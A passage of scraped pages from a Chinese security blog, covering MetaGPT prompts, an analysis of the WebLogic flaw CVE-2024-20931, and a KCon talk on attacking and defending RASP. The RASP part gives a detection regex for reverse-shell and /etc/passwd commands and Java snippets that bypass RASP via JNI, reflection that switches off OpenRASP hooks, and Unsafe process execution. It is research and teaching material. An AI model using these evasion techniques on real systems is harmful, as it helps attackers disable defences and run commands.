class="comment"># take on tasks until all finished</span></span><br><span class="line"> <span class="keyword">while</span> self.planner.current_task:</span><br><span class="line"> task = self.planner.current_task</span><br><span class="line"> logger.info(<span class="string">f"ready to take on task <span class="subst">{task}</span>"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># take on current task</span></span><br><span class="line"> task_result = <span class="keyword">await</span> self._act_on_task(task)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># process the result, such as reviewing, confirming, plan updating</span></span><br><span class="line"> <span class="keyword">await</span> self.planner.process_task_result(task_result)</span><br><span class="line"></span><br><span class="line"> rsp = self.planner.get_useful_memories()[<span class="number">0</span>] <span class="comment"># return the completed plan as a response</span></span><br><span class="line"></span><br><span class="line"> self.rc.memory.add(rsp) <span class="comment"># add to persistent memory</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> rsp</span><br></pre></td></tr></table></figure>
<h3 id="核心目录解读-action"><a href="#核心目录解读-action" class="headerlink" title="核心目录解读-action"></a>核心目录解读-action</h3><p>在metagpt的action目录下，有大量具体动作的代码，代码里主要保存的是每个动作对应的Prompt，在这里可以对该项目的Prompt做一个了解和学习，这里抽取大家比较熟悉的write_code行为进行展示，这里的Prompt的书写基本完全满足CRIPSE标准，可以作为CRIPSE的示例</p>
<pre><code>
PROMPT_TEMPLATE = """
NOTICE
Role: You are a professional engineer; the main goal is to write google-style, elegant, modular, easy to read and maintain code
Language: Please use the same language as the user requirement, but the title and code should be still in English. For example, if the user speaks Chinese, the specific text of your answer should also be in Chinese.
ATTENTION: Use '##' to SPLIT SECTIONS, not '#'. Output format carefully referenced "Format example".
# Context
## Design
{design}
## Task
{task}
## Legacy Code
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{code}</span><br></pre></td></tr></table></figure>
## Debug logs
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{logs}</span><br><span class="line"></span><br><span class="line">{summary_log}</span><br></pre></td></tr></table></figure>
## Bug Feedback logs
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{feedback}</span><br></pre></td></tr></table></figure>
# Format example
## Code: {filename}
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## {filename}</span></span><br><span class="line">...</span><br></pre></td></tr></table></figure>
# Instruction: Based on the context, follow "Format example", write code.
## Code: {filename}. Write code with triple quoto, based on the following attentions and context.
1. Only One file: do your best to implement THIS ONLY ONE FILE.
2. COMPLETE CODE: Your code will be part of the entire project, so please implement complete, reliable, reusable code snippets.
3. Set default value: If there is any setting, ALWAYS SET A DEFAULT VALUE, ALWAYS USE STRONG TYPE AND EXPLICIT VARIABLE. AVOID circular import.
4. Follow design: YOU MUST FOLLOW "Data structures and interfaces". DONT CHANGE ANY DESIGN. Do not use public member functions that do not exist in your design.
5. CAREFULLY CHECK THAT YOU DONT MISS ANY NECESSARY CLASS/FUNCTION IN THIS FILE.
6. Before using a external variable/module, make sure you import it first.
7. Write out EVERY CODE DETAIL, DON'T LEAVE TODO.
"""
</code></pre>
<h2 id="甲方安全应用畅想"><a href="#甲方安全应用畅想" class="headerlink" title="甲方安全应用畅想"></a>甲方安全应用畅想</h2><p>MetaGPT当前展示的主要是GPT在软件开发流程中的应用，因为核心角色是产品经理、架构师、项目经理、工程师、QA工程师，以接收到一个需求作为任务的起点，以该项目的完成作为终点，以该模版为参考，结合GPT形成一个全自动化的SDL流程，也应该具备可行性，在下面可以给出一个基于标准SDL的流程及角色任务定制。</p>
<h3 id="流程"><a href="#流程" class="headerlink" title="流程"></a>流程</h3><img src="/2024/06/22/metagpt/9.jpg" class="" title="metagpt">
<h3 id="角色及任务"><a href="#角色及任务" class="headerlink" title="角色及任务"></a>角色及任务</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">安全培训师：</span><br><span class="line">任务一：基于团队定制的重点漏洞生成培训内容</span><br><span class="line">任务二：基于上一次发布发生的问题，生成培训内容</span><br><span class="line">任务三：基于本月热门漏洞，生成培训内容</span><br><span class="line"></span><br><span class="line">安全评审：</span><br><span class="line">任务：通过DepOps平台，了解每一个新需求的产生，在需求产生后分析需求可能发生的漏洞，生成开发前注意事项。</span><br><span class="line"></span><br><span class="line">白盒审计人员：</span><br><span class="line">任务一：在封版日前基于代码仓库代码变更，分析本次变更需求有哪些，出现了哪些风险函数调用。</span><br><span class="line">任务二：基于白盒扫描内容进行风险二次反思，汇总本次白盒扫描出的风险。</span><br><span class="line"></span><br><span class="line">黑盒测试人员：</span><br><span class="line">任务一：基于白盒审计结果，告知黑盒重点测试内容。</span><br><span class="line">任务二：基于黑盒扫描结果，对结果二次反思，决策出高危风险。</span><br><span class="line"></span><br><span class="line">安全发布卡点人员：</span><br><span class="line">任务：汇总上面流程发生的所有事件，汇总研发对于风险的反馈，决策此次发布风险。</span><br></pre></td></tr></table></figure>
<h2 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h2><p><a target="_blank" rel="noopener" href="https://arxiv.org/pdf/2308.00352">METAGPT: META PROGRAMMING FOR A MULTI-AGENT COLLABORATIVE FRAMEWORK</a></p>
<p><a target="_blank" rel="noopener" href="https://zhuanlan.zhihu.com/p/619590249">如何写出优雅的prompt？ - 通用的万能框架</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="https://glassyamadeus.github.io/2024/01/31/CVE_2024_20931/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/glassyAmadeus.jpeg">
<meta itemprop="name" content="Glassy@Amadeus">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Glassy@Amadeus's Zone">
<meta itemprop="description" content="Security&Development.">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | Glassy@Amadeus's Zone">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2024/01/31/CVE_2024_20931/" class="post-title-link" itemprop="url">JNDI注入的一种新攻击面-CVE-2024-20931分析</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2024-01-31 11:53:04" itemprop="dateCreated datePublished" datetime="2024-01-31T11:53:04+08:00">2024-01-31</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-09-27 14:42:57" itemprop="dateModified" datetime="2024-09-27T14:42:57+08:00">2024-09-27</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8/" itemprop="url" rel="index"><span itemprop="name">应用安全</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>在Oracle官方最新发布的January 2024补丁中，修复了一个基于Weblogic T3\IIOP协议的远程命令执行漏洞CVE-2024-20931，该漏洞是笔者在2023年10月提交给Oracle，原理上属于CVE-2023-21839补丁的绕过，其中涉及到一个JNDI的新攻击面，在这里分享出来。</p>
<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><h3 id="CVE-2023-21839概述"><a href="#CVE-2023-21839概述" class="headerlink" title="CVE-2023-21839概述"></a>CVE-2023-21839概述</h3><p>当Weblogic通过T3\IIOP进行绑定的远程对象实现了OpaqueReference接口，那么在对该对象进行lookup时，会调用这个对象的getReferent函数进行查询。</p>
<img src="/2024/01/31/CVE_2024_20931/1.png" class="" title="CVE_2024_20931">
<p>而碰巧有一个名为ForeignOpaqueReference的对象，它的getReferent函数在进行远程对象查询的时候，会再次发起JNDI查询，从而造成了JNDI注入</p>
<img src="/2024/01/31/CVE_2024_20931/2.png" class="" title="CVE_2024_20931">
<p>利用步骤大致分为三步（关键步骤均用红框进行了标记），</p>
<ol>
<li>建立一个恶意ForeignOpaqueReference对象，并将remoteJNDIName设置为远程恶意JNDI服务。</li>
<li>通过T3\IIOP协议在WLS上绑定该恶意对象。</li>
<li>通过lookup查询该恶意对象，触发ForeignOpaqueReference.getReferent的调用，从而造成恶意JNDI注入。<img src="/2024/01/31/CVE_2024_20931/3.png" class="" title="CVE_2024_20931"></li>
</ol>
<h3 id="CVE-2023-21839补丁分析"><a href="#CVE-2023-21839补丁分析" class="headerlink" title="CVE-2023-21839补丁分析"></a>CVE-2023-21839补丁分析</h3><p>Oracle官方于January 2023对该漏洞进行了修复，补丁内容分为两部分，</p>
<p>第一部分，限制了绑定ForeignOpaqueReference对象时对jndiEnvironment中providerURL的设置，</p>
<img src="/2024/01/31/CVE_2024_20931/4.png" class="" title="CVE_2024_20931">
<p>第二部分对loopup的JNDI链接的协议也做了比较严格的限制，</p>
<img src="/2024/01/31/CVE_2024_20931/5.png" class="" title="CVE_2024_20931">
<p>直观上去看，想继续通过ForeignOpaqueReference去做JNDI注入的路已经被堵死了。</p>
<h3 id="CVE-2024-20931的挖掘"><a href="#CVE-2024-20931的挖掘" class="headerlink" title="CVE-2024-20931的挖掘"></a>CVE-2024-20931的挖掘</h3><p>经过一定的分析，可以感觉到，现在有三条路是可能走的通的，<br>第一条路，寻找别的实现OpaqueReference接口的类的getReferent寻求突破（比较有意思的是ForeignOpaqueReference在两个package链接下都有，且代码有一些细微的差别），</p>
<p>这条路有一定的可行性，但是要分析的类太多了，所以我没有做太深入的分享。<br>第二条路，尝试绕过补丁中的JNDIUtils.isValidJndiScheme函数，</p>
<img src="/2024/01/31/CVE_2024_20931/7.png" class="" title="CVE_2024_20931">
<p>做了一定的努力，最终未能成功。<br>第三条路，就是如果在java.naming.provider.url为空的情况下，做一下危险操作，</p>
<img src="/2024/01/31/CVE_2024_20931/8.png" class="" title="CVE_2024_20931">
<p>因为别的env还是可以控制的，所以或许能在指定java.naming.factory.initial进行初始化的时候，创造可能性，非常幸运的是，WLS提供了不少的InitialContextFactory，而恰恰就有一个AQjmsInitialContextFactory在初始化的时候，需要通过JNDI去获取远程的DataSource，</p>
<img src="/2024/01/31/CVE_2024_20931/9.png" class="" title="CVE_2024_20931">
<p>通过AQjmsInitialContextFactory初始化发起的JNDI注入，就成功达成一种二次JNDI注入，实现了远程的RCE。</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这个漏洞相比于之前的JNDI注入，不是在lookup这个JNDI注入的关键函数上寻求突破，而是把关注点侧重于Context的初始化阶段，从而绕过了上一个漏洞的补丁，个人感觉还是比较有意思的一个漏洞，Oracle在后续的补丁中又对java.naming.factory.initial的设置做了验签处理，毫无疑问，还是有一些jndiEnvironment可以进行设置的，至于能不能去找到新的绕过，则需要更深一步的研究。</p>
<img src="/2024/01/31/CVE_2024_20931/10.png" class="" title="CVE_2024_20931">
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="https://glassyamadeus.github.io/2023/06/11/rasp_tricks/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/glassyAmadeus.jpeg">
<meta itemprop="name" content="Glassy@Amadeus">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Glassy@Amadeus's Zone">
<meta itemprop="description" content="Security&Development.">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | Glassy@Amadeus's Zone">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2023/06/11/rasp_tricks/" class="post-title-link" itemprop="url">RASP攻防下的黑魔法</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2023-06-11 15:53:04" itemprop="dateCreated datePublished" datetime="2023-06-11T15:53:04+08:00">2023-06-11</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-09-27 14:42:57" itemprop="dateModified" datetime="2024-09-27T14:42:57+08:00">2024-09-27</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8/" itemprop="url" rel="index"><span itemprop="name">应用安全</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>该篇文章系2022年笔者在Kcon大会上台前准备的内容文字版，考虑到PPT内容有限，不少地方讲的不会很清楚，特意将演讲内容的文字版补档发出。需要PPT的小伙伴请至Kcon官方Github下载即可，<a target="_blank" rel="noopener" href="https://github.com/knownsec/KCon/blob/master/2022/Magic%20in%20RASP-attack%20and%20defense%E3%80%90KCon2022%E3%80%91%20.pdf">PPT地址</a>。</p>
<h2 id="认识RASP和RASP攻防"><a href="#认识RASP和RASP攻防" class="headerlink" title="认识RASP和RASP攻防"></a>认识RASP和RASP攻防</h2><h3 id="RASP的核心原理"><a href="#RASP的核心原理" class="headerlink" title="RASP的核心原理"></a>RASP的核心原理</h3><h4 id="插桩技术简介"><a href="#插桩技术简介" class="headerlink" title="插桩技术简介"></a>插桩技术简介</h4><p>Java插桩技术基于Java Instrumentation（该包位于java.lang.instrument，于Java SE5开始引入）实现，使用 Instrumentation，开发者可以构建一个独立于应用程序的Agent，来实现替换和修改某些类的定义。</p>
<p>在Java SE 5时，Instrumentation的实现仅支持在应用启动前添加-javaagent参数的形式实现Agent代理。</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -javaagent:/dir/rasp.jar -jar app.jar</span><br></pre></td></tr></table></figure>
<p>Java SE 6时提供了Attach API，实现了运行时JVM程序的字节码修改。 仅仅需要知道需要注入的Java进程的PID，便可以另起一个Java进程去实现运行时加载JavaAgent。</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">VirtualMachine virtualMachine = VirtualMachine.attach(<span class="string">"20556"</span>);</span><br><span class="line">virtualMachine.loadAgent(<span class="string">"/dir/rasp.jar"</span>);</span><br><span class="line">virtualMachine.detach();</span><br></pre></td></tr></table></figure>
<h4 id="常见RASP架构"><a href="#常见RASP架构" class="headerlink" title="常见RASP架构"></a>常见RASP架构</h4><p>漏洞，无论是从流量层面上、堆栈层面上、框架层面上，都是极为复杂的，<br>RASP会通过字节码增强技术将检测代码注入到应用的高危行为函数（如命令执行、文件读写等）之前，在应用执行的执行流抵达高危行为前，对应用将要执行的行为、执行行为时的上下文进行综合分析，从而决定是否在高危行为执行前对该执行流进行阻断。</p>
<img src="/2023/06/11/rasp_tricks/1.png" class="" title="img1">
<h3 id="RASP与传统安全产品的区别"><a href="#RASP与传统安全产品的区别" class="headerlink" title="RASP与传统安全产品的区别"></a>RASP与传统安全产品的区别</h3><h4 id="RASP、WAF、主机防护有何不同"><a href="#RASP、WAF、主机防护有何不同" class="headerlink" title="RASP、WAF、主机防护有何不同"></a>RASP、WAF、主机防护有何不同</h4><table>
<thead>
<tr>
<th></th>
<th>WAF</th>
<th>主机防御</th>
<th>RASP</th>
</tr>
</thead>
<tbody><tr>
<td>检测方式</td>
<td>流量</td>
<td>主机行为</td>
<td>流量+应用行为</td>
</tr>
<tr>
<td>性能</td>
<td>不消化应用本身性能</td>
<td>消耗主机性能，但主机侧只负责收集，分析在云端。</td>
<td>消耗应用性能，拦截相关算法需要在应用测完成收集和分析。</td>
</tr>
<tr>
<td>应对0day的方式</td>
<td>基于0day流量，需要优先拿到0day的Poc。</td>
<td>有效防护0day的主机侧恶意行为（如命令执行、文件上传），但缺少流量测信息，只能拦截高危行为，比如一个java web服务调wget下载执行，不能确认是否来自流量侧，不太好下发策略</td>
<td>有效防护0day应用测恶意行为。且能分析处恶意行为的源头是什么（反序列化、表达式注入等）。</td>
</tr>
</tbody></table>
<h4 id="RASP的一些痛点"><a href="#RASP的一些痛点" class="headerlink" title="RASP的一些痛点"></a>RASP的一些痛点</h4><p>性能消耗：由于RASP的防护逻辑需要消耗应用所在主机性能，这很大程度上决定了RASP无法进行高性能消耗的分析操作。<br>部署相对麻烦：静态部署需要配置启动参数+重启，虽然JDK6便支持了不重启的Attach API，但attach带来的退优化问题难以解决，因此现阶段主流Java Agent（如APM）都还是主要使用了静态部署的方式安装。</p>
<h3 id="RASP常用防御方式"><a href="#RASP常用防御方式" class="headerlink" title="RASP常用防御方式"></a>RASP常用防御方式</h3><h4 id="黑白名单"><a href="#黑白名单" class="headerlink" title="黑白名单"></a>黑白名单</h4><p>黑白名单检测算法是RASP检测方式中最为常见，也最为简单的防御算法，即明确规定哪些行为是允许的，哪些是不允许的。</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//openrasp命令执行黑名单函数示例</span></span><br><span class="line"><span class="attr">command_common</span>: {</span><br><span class="line"> <span class="attr">name</span>: <span class="string">'算法3 - 识别常用渗透命令（探针）'</span>,</span><br><span class="line"> <span class="attr">action</span>: <span class="string">'log'</span>,</span><br><span class="line"> <span class="attr">pattern</span>: <span class="string">'cat.{1,5}/etc/passwd|nc.{1,30}-e.{1,100}/bin/(?:ba)?sh|bash\\s-.{0,4}i.{1,20}/dev/tcp/|subprocess.call\\(.{0,6}/bin/(?:ba)?sh|fsockopen\\(.{1,50}/bin/(?:ba)?sh|perl.{1,80}socket.{1,120}open.{1,80}exec\\(.{1,5}/bin/(?:ba)?sh'</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>黑白名单算法最大的问题：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">1. 白名单的维护需要较大成本。</span><br><span class="line">2. 复杂应用场景，需要维护的黑白名单较为复杂，而过于复杂的黑白名单（可能是具体值、可能是正则）往往会造成较大的性能消耗。</span><br><span class="line">3. 存在一些攻击者和应用都会使用的关键字，导致无法进行处理。</span><br></pre></td></tr></table></figure>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#以下实例是一个云上每日执行量10W+级别的命令，该命令便使用了攻击者也最喜欢的/bin/sh命令。</span></span><br><span class="line">/bin/sh -c LC_ALL=C /usr/sbin/lpc status | grep -E <span class="string">'^[ 0-9a-zA-Z_-]*@'</span> | awk -F<span class="string">'@'</span> <span class="string">'{print $1}'</span>>/home/admin/******/temp/prn2338931307557909089xc</span><br></pre></td></tr></table></figure>
<h4 id="语义分析-词法分析"><a href="#语义分析-词法分析" class="headerlink" title="语义分析/词法分析"></a>语义分析/词法分析</h4><p>语义分析检测算法多用于SQL注入的检测（也有部分RASP在命令执行处也使用了语义分析），核心思路便是检测用户的输入是否导致了行为数据的结构发生了变化。</p>
<img src="/2023/06/11/rasp_tricks/2.png" class="" title="img2">
<p>义分析存在的问题：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">1. 存在一些语义分析未能兼容的语法、关键字，可能会导致语义分析报错。</span><br><span class="line">2. 针对对参数进行了二次处理的场景，RASP可能无法获取参数，从而导致了语义分析的不可用。</span><br></pre></td></tr></table></figure>
<h4 id="上下文分析"><a href="#上下文分析" class="headerlink" title="上下文分析"></a>上下文分析</h4><p>简单版的上下文分析，即在高危行为函数处进行Hook后，会去对当前调用栈的完整链路进行分析，追踪恶意行为的调用链中是否包含一些危险的堆栈（如反序列化gadgets、表达式等），如包含，则进行拦截。稍微复杂点的上下文分析，会对调用链流程中的多处进行Hook，在抵达高危行为函数的Hook处再对调用链的多个Hook处的内容进行统筹分析，决定策略。</p>
<p>上下文分析存在的问题：<br>获取堆栈信息存在解决不了的性能瓶颈。</p>
<h3 id="常见绕过方式回顾"><a href="#常见绕过方式回顾" class="headerlink" title="常见绕过方式回顾"></a>常见绕过方式回顾</h3><h4 id="JNI绕过"><a href="#JNI绕过" class="headerlink" title="JNI绕过"></a>JNI绕过</h4><p>由于JNI属于C侧的恶意代码执行，作为Java应用防护的RASP无法获取C侧的具体行为，因此JNI是对抗RASP的一个主流手法。<br>在有代码执行漏洞的前提下，可以先上传包含恶意C代码的so到服务器（后缀是什么都行），再通过Java的JNI代码去执行该恶意代码。</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Glassy</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">native</span> String <span class="title">exec</span><span class="params">(String cmd)</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">static</span> {</span><br><span class="line"> System.load(<span class="string">"/Users/glassyamadeus/IdeaProjects/JNIDemo/src/main/java/libglassyForMac.so"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>位于 tomcat lib目录下的tomcat-jni.jar，也包含一些可以利用的现成的JNI函数，可以通过代码执行漏洞去调用。</p>
<img src="/2023/06/11/rasp_tricks/3.png" class="" title="img3">
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Library.initialize(<span class="keyword">null</span>);</span><br><span class="line"><span class="keyword">long</span> pool = Pool.create(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">long</span> proc = Proc.alloc(pool);</span><br><span class="line">Proc.create(proc, <span class="string">"/System/Applications/Calculator.app/Contents/MacOS/Calculator"</span>, <span class="keyword">new</span> String[]{}, <span class="keyword">new</span> String[]{}, Procattr.create(pool), pool);</span><br></pre></td></tr></table></figure>
<h4 id="基于反射破坏RASP运行时结构"><a href="#基于反射破坏RASP运行时结构" class="headerlink" title="基于反射破坏RASP运行时结构"></a>基于反射破坏RASP运行时结构</h4><p>openRASP</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Class clazz = Class.forName(<span class="string">"com.baidu.openrasp.HookHandler"</span>);</span><br><span class="line">Field used = clazz.getDeclaredField(<span class="string">"enableHook"</span>);</span><br><span class="line">used.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">Object enableHook = used.get(<span class="keyword">null</span>);</span><br><span class="line">Method setMethod = AtomicBoolean.class.getDeclaredMethod(<span class="string">"set"</span>,<span class="keyword">boolean</span>.class);</span><br><span class="line">setMethod.invoke(enableHook,<span class="keyword">false</span>);</span><br></pre></td></tr></table></figure>
<h4 id="冰蝎-哥斯拉在RASP对抗上做了什么"><a href="#冰蝎-哥斯拉在RASP对抗上做了什么" class="headerlink" title="冰蝎\哥斯拉在RASP对抗上做了什么"></a>冰蝎\哥斯拉在RASP对抗上做了什么</h4><p>早先版本的哥斯拉命令执行堆栈，</p>
<img src="/2023/06/11/rasp_tricks/4.png" class="" title="img4">
<p>早先版本的冰蝎命令执行堆栈，</p>
<img src="/2023/06/11/rasp_tricks/5.png" class="" title="img5">
<p>新版本哥斯拉命令执行堆栈，不再使用老版本固定规则，而使用了随机且具有较高欺骗性的堆栈，</p>
<img src="/2023/06/11/rasp_tricks/6.png" class="" title="img6">
<p>哥斯拉的413个高欺骗性堆栈名字典，生成payload的时候会从中随机选取，</p>
<img src="/2023/06/11/rasp_tricks/7.png" class="" title="img7">
<p>新版本冰蝎在生产恶意类时，class名会随机生成，</p>
<img src="/2023/06/11/rasp_tricks/8.png" class="" title="img8">
<img src="/2023/06/11/rasp_tricks/9.png" class="" title="img9">
<h2 id="高对抗场景下的tricks简介"><a href="#高对抗场景下的tricks简介" class="headerlink" title="高对抗场景下的tricks简介"></a>高对抗场景下的tricks简介</h2><h3 id="BootStrap简介"><a href="#BootStrap简介" class="headerlink" title="BootStrap简介"></a>BootStrap简介</h3><h4 id="BootStrap下的class具有什么特权"><a href="#BootStrap下的class具有什么特权" class="headerlink" title="BootStrap下的class具有什么特权"></a>BootStrap下的class具有什么特权</h4><p>ClassLoader为空，有效隐蔽了很多信息。</p>
<img src="/2023/06/11/rasp_tricks/10.png" class="" title="img10">
<p>比较具有代表性的案例是，现阶段很多内存马检测插件，都需要先获取被检测Class的ClassLoader，只有ClassLoader不为空，再进行该Class是否落盘的检测，如果没落盘，则认为可能是内存马。</p>
<img src="/2023/06/11/rasp_tricks/11.png" class="" title="img11">
<p>可以不基于反射调用很多高危函数。</p>
<img src="/2023/06/11/rasp_tricks/12.png" class="" title="img12">
<h4 id="如何使自定义class的classLoader成为BootStrap"><a href="#如何使自定义class的classLoader成为BootStrap" class="headerlink" title="如何使自定义class的classLoader成为BootStrap"></a>如何使自定义class的classLoader成为BootStrap</h4><p>首先需要将进行利用的Class包在一起打成jar。</p>
<p>Instrumentation的API<br>Instrumentation.appendToBootstrapClassLoaderSearch提供将jar包加入到BootStrap的函数。</p>
<img src="/2023/06/11/rasp_tricks/13.png" class="" title="img13">
<p>现有JDK目录下jar替换，将恶意类打包成charsets.jar（别的也行，最好选取使用频率较低的jar，并且要求这个BootStrap下的jar不是JDK启动时就load的），且需要一个文件上传或覆盖相关的漏洞将$JAVA_HOME/jre/lib/charsets.jar进行覆盖即可。</p>
<img src="/2023/06/11/rasp_tricks/14.png" class="" title="img14">
<p>在jre/classes/ 下上传的恶意class的Classloader均为null。</p>
<h3 id="UnSafe简介"><a href="#UnSafe简介" class="headerlink" title="UnSafe简介"></a>UnSafe简介</h3><h4 id="UnSafe能够做什么"><a href="#UnSafe能够做什么" class="headerlink" title="UnSafe能够做什么"></a>UnSafe能够做什么</h4><img src="/2023/06/11/rasp_tricks/15.png" class="" title="img15">
<p>基于JNI的命令执行</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">String cmd = <span class="string">"open /System/Applications/Calculator.app/"</span>;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">int</span>[] ineEmpty = {-<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>};</span><br><span class="line">Class clazz = Class.forName(<span class="string">"java.lang.UNIXProcess"</span>);</span><br><span class="line">Unsafe unsafe = Utils.getUnsafe();</span><br><span class="line">Object obj = unsafe.allocateInstance(clazz);</span><br><span class="line">Field helperpath = clazz.getDeclaredField(<span class="string">"helperpath"</span>);</span><br><span class="line">helperpath.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">Object path = helperpath.get(obj);</span><br><span class="line"><span class="keyword">byte</span>[] prog = <span class="string">"/bin/bash\u0000"</span>.getBytes();</span><br><span class="line">String paramCmd = <span class="string">"-c\u0000"</span> + cmd + <span class="string">"\u0000"</span>;</span><br><span class="line"><span class="keyword">byte</span>[] argBlock = paramCmd.getBytes();</span><br><span class="line"><span class="keyword">int</span> argc = <span class="number">2</span>;</span><br><span class="line">Method exec = clazz.getDeclaredMethod(<span class="string">"forkAndExec"</span>, <span class="keyword">int</span>.class, <span class="keyword">byte</span>[].class, <span class="keyword">byte</span>[].class, <span class="keyword">byte</span>[].class, <span class="keyword">int</span>.class, <span class="keyword">byte</span>[].class, <span 